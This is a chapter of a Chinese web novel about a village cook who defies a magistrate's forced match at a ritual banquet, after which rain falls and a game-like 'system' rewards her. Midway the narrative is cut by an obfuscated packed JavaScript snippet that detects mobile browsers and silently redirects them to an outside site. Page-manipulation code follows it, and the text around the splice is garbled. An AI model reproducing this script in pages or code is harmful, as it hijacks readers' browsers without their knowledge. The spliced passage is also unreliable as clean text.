26. 祭祀宴席(下)

作品:《我在古代做漂亮饭

    沈昭昭面上还未作反应,旁边桌上的沈三七和锦娘的目光已锁死了窦景成。


    下意识向腰间摸去,空无一物,沈三七才想起来今日没有带剑。他面色不善,就要起身过去。


    见到众人的反应,沈昭昭递给他们一个宽心的眼神。不就是王二拿之前自己签的借契做文章吗?如今还他便是。


    沈昭昭垂下眸子,语气平和:“多谢窦县令抬爱。只是民女忙于灶间,暂无婚配想法,恐与王公子无缘。”


    她又拿出自己的素色小荷包,从里面数出十五两,递到了王二面前,莞尔道:“前日里没找到机会还给王公子,今日便连本带利地还了。”


    王二将桌上的银子,往旁边一推,肉脸上的眉眼耷拉下来,对沈昭昭道:“不是银子的事儿,本公子对你的心意,你是真不知吗?”


    “既无父母之命,也无媒妁之言,王公子莫要勉强。”沈昭昭又将银子推了回去。


    王二闹得动静大,引得许多村民也纷纷向小桌张望,支起耳朵听这边的情况。


    王二见沈昭昭软的不吃,又拔高嗓子逼问道:“敬酒不吃吃罚酒是吧?我最后问你一遍——嫁,还是不嫁?!”


    姜白芷“啪”地一拍桌子,站起身:“王二!你还有没有王法!”


    村民们也看不惯王二仗势欺人的做派,开始小声给沈昭昭说话。


    “昭昭姑娘不愿意你又何必勉强?”


    “王公子,你家都有五房妾室啦,就放过沈老板吧!”


    “落花有意,流水无情。痴情的王公子请再等一世吧~”


    ……


    “不嫁!”


    给王二留脸面他不要,沈昭昭只能以最直白的方式回应。


    “若是本县今日偏要做这个媒呢?”窦景成却不在意,细细嚼着炸得酥脆的马蹄香椿圆子。马蹄脆嫩,里面河虾的肉带着椒香,凝脂般顺滑,他八字眉一挑,道“嗯,这圆子鲜。”


    听窦县令开了口,刚刚为沈昭昭打抱不平的村民都噤了声,不想做出头鸟殃及自身。


    “姑父……”王二见这个平日里不待见他的姑父为他出头,心下感动,也多了几分依仗,“昭昭,我想你想得都要发狂啦!我日日去你面摊就为见你一面,这份心意还不能感动你吗?”


    沈昭昭很无语,那面他不是也吃了吗?钱货两讫的事情,让王二说得这么深情。


    王二虽然确实喜欢沈昭昭,但也存了别的心思。这次趁着窦景成在,有枣没枣先打两杆子。


    若是沈昭昭答应,便白得了一个貌美的厨娘。而且宴席后她还要开自己的铺子,只要嫁到他王家,就是个能生金的摇钱树啊!


    十五两和沈昭昭的手艺比起来,孰重孰轻他还能算得明白。


    听他们二人合起伙来欺负沈昭昭。沈三七指尖攥得泛白,终是忍不住起身护在了沈昭昭面前,沉声道:“昭昭说了不嫁,听不懂吗?”


    他眼中神色晦暗不明,声音不大,却自有一股压人的气势。


    “这位是?”感受到令人窒息的气场,窦景成放下筷子看了一眼来人。


    王庆生连忙赔笑道:“这是沈姑娘的表哥,沈三七。许是操心妹妹婚事,还望县令莫怪。”


    主桌上,一直闷头喝酒的丁越却忽然起身,对着窦景成耳语几句。窦景成的面色变了又变,多打量了几眼沈三七。


    窦景成不和沈三七正面起冲突,只问道:“王庆生,你怎么看?”


    王庆生没想到矛头突然对准了自己,又怕窦景成因此事迁怒于他,也不敢明说自己的态度,只尴尬地笑两声道:“呵呵,小辈的事情,我这个做长辈的不好多说。”


    “咱不说亲事,那你向百姓交代交代平安村的救命的余粮,如今还剩几石啊?”


    窦景成皮笑肉不笑地向王庆生施压,想让他替沈昭昭做主。


    “这……”王庆生浑身过电般打了个寒颤,看来窦县令有意给自己的侄儿配这门亲事了。他为人虽圆滑,但平白无故欺压一个孤女,他也做不来。


    “还剩几石不重要,我有方法填满。”


    一道温柔的声音将王庆生在黑暗中救出,他不敢置信地看向沈昭昭。


    沈三七也眸子一暗,拍拍沈昭昭肩头提醒,又低声道:“昭昭,别逞强。”


    听闻沈昭昭能填满粮仓,窦景成捻佛珠的手动得飞快,闭口不再谈沈昭昭与王二的婚事。


    他眼神灼热,飞快地过着脑中的信息。


    丁越是个老江湖,年轻时走南闯北见识颇多,刚向他禀报了沈三七的面上有易容痕迹。


    可是,除非沈三七是密报里的那个贵人,否则他窦景成也没有刨根问底的必要。


    谁还没有点秘密?


    只是这沈昭昭一个农村孤女能有这般厨艺,果然背后不简单。既在村里得民心,又有姜白芷这个朋友,身边还有个易容身份不明的表哥,阵仗不小!


    窦景成精明的脑中飞速盘清楚利弊,道出了自己的条件:“哈哈哈,好!沈姑娘既有胆魄解决民生大事,本县自然高兴!”


    “在场的诸位都是见证,明日不妨与本县同去开仓检查。若沈姑娘真能用粮食填满粮仓,今日之事便罢了。要是诓本县,那沈姑娘就嫁与我侄儿做妾吧!”


    几个村子的主事人目瞪口呆,脑中还没转过弯儿来。


    方才不还逼问婚嫁、剑拔弩张吗?怎么这沈昭昭三言两语,竟将话题转到了填粮仓这等大事上?


    他们自己村中为多几石存粮都愁白了头。沈昭昭一个年轻厨娘,还能独自一人凭空变出来粮食不成?


    窦景成并非真心为王二的婚事考虑,而是他自己看中了沈昭昭的手艺,又无好方法直接将人留到县衙。


    如果沈昭昭成为他的侄儿媳妇,那平时便可随意差遣。而且不用给银钱,也不会落人话柄,毕竟是一家人了。


    不过沈昭昭若真能填满粮仓,那就是另外一说。毕竟他这里要抽两成的利,满满一仓库产生的利润可比请个厨娘的花费高多了。


    “没问题。王公子明日别忘了将借契还我。若无事,民女便先告退。”沈昭昭不管其他人震惊的眼神,径直拉住沈三七的袖子坐了回去。


    两方都达到了自己的目的,只剩王二一人愣在了桌上。


    “不是,姑父,你怎么忽然不向着我了?”


    “你的婚事可有百姓生计重要?沈姑娘是有才能之人,你明日记得备好借契,咱们也不可失信于人。”说罢,窦景成夹了根鲜笋,慢悠悠嚼了起来。


    不论这事儿结果如何,他是稳赚不亏!


    吃瓜的村民偷听八卦时也不忘了吃饭,桌上的空盘越来越多,最后吃得不剩下什么。沈昭昭拉着沈三七坐到了后面的桌子,随意夹几口饭菜。


    锦娘忍不住问:“昭昭,你还真为了脱身要去填粮仓?你身上要是有油水,窦景成可不会放过的!”


    姜白芷也担心道:“需要医馆帮忙吗?医馆仓库还有十几袋粟米,要不你也搬了去。”


    沈昭昭抬起来回给他们一个笃定的笑容:“你们的心就放回肚子里去吧,粮仓肯定能填满。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894888|190886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>她又放低了声音,“而且,今日还有惊喜。”


    虽然内心不是百分百确定,但她心里已无执念。尽人事听天命,她做了自己能做的,老天给不给面子是老天的事情。


    话音未落,本来还是响晴的天,片片乌云不知从何时慢慢聚集起来。


    只见后山处忽然有光闪了闪。几秒后,雷声从远处滚滚而来,震耳欲聋。日光迅速被黑云遮蔽,瓢泼大雨倾泻而下,浇得人猝不及防。


    祭祀宴席上的百姓们则更加兴奋,或高举双臂拥抱雨水;或跑到供案前磕头跪拜。


    “龙王爷显灵啦!龙王爷显灵啦!”


    “我家的麦子有救啦!”


    “这雨,这雨终于下下来了!”


    “真是雨……”王庆生抹了把脸,雨水混着泪水淌了下来。


    这一日,他等了太久了!


    他不敢置信地抬头看向老天,龙王爷看到了他们的诚心,给他们留了条活路!


    沈三七默默让雨水打湿他的发,用袖子挡在了沈昭昭头上。虽然勉强地遮挡在大雨前是徒劳,他还是一直举着胳膊护着她。


    沈昭昭在身边,他觉得每时每刻都心安。他信她,只要沈昭昭说了能填粮仓,那她肯定就能做到。


    沈昭昭眼前忽然跳出来一行从未见过的金灿灿的大字。


    【解锁称号:一饭通天地】


    这是她第一次解锁系统称号!


    +1+1+1……


    系统面板的厨艺值蹭噌噌涨到38点,比她平日里苦哈哈积累食客要快多了!


    沈昭昭脑中对做菜的领悟又上了一个台阶,这是一种抽象的感觉,熟悉又陌生。


    她感觉到来自天地的一道白光正汇聚到她体内,轻吟着古老的秘密。许多闻所未闻的菜色,在脑内也有了印象。


    她的视野彻底打开了。


    她看见祭祀宴席的菜色散发着和春天一样生机勃勃的绿,进到每个食客的体内,将他们的感受扭转——从紧绷到自然。


    他们不再恐惧老天的喜怒无常,而是开始欣赏属于当下时节的美丽。


    唱傩戏的老头兴致高涨,拿过龙王面具戴到面上。他直直走到广场戏台中央,又扯着嗓子起了调。


    “天门开——!甘霖降——!”


    “龙王行雨过山梁,千里焦土转青苍!”


    村民们在台下跟着调子和:


    “一谢天公垂恩泽,二谢地母纳琼浆!”


    ……


    不知那老妪到底是何人,这祈雨术真管用了!


    沈昭昭不住赞叹,看着兴奋自发起舞的村民们感慨万千。


    她拽着沈三七也加入了他们的队伍,在雨中随着古老的调子开心地轻轻摇晃身体。


    这时,温夫子站到了她旁边,问道:“真是无巧不成书!昭昭,你快告诉老夫,这雨到底和你有没有关系?”


    读书人的直觉告诉他,这事儿不简单。


    沈昭昭也没藏着掖着,停下了舞步,从老妪赠书开始娓娓道来。


    只是她略过了前两日的感受,从第三日开始讲起。


    “……进入平静后,我好像回到了小时候。家人做好肉酱面等我去吃。当时的气候风调雨顺,我也不自觉进入了那个自然的状态。”


    “之后我将这种状态带了出来,带到了我做的菜里,带回了平安村。”


    温夫子先是眉头紧锁,细细分析其中的关窍。又忽然惊叹起来:“乍听荒诞不经,背后竟是《中庸》之理!


    “致中和,天地位焉。”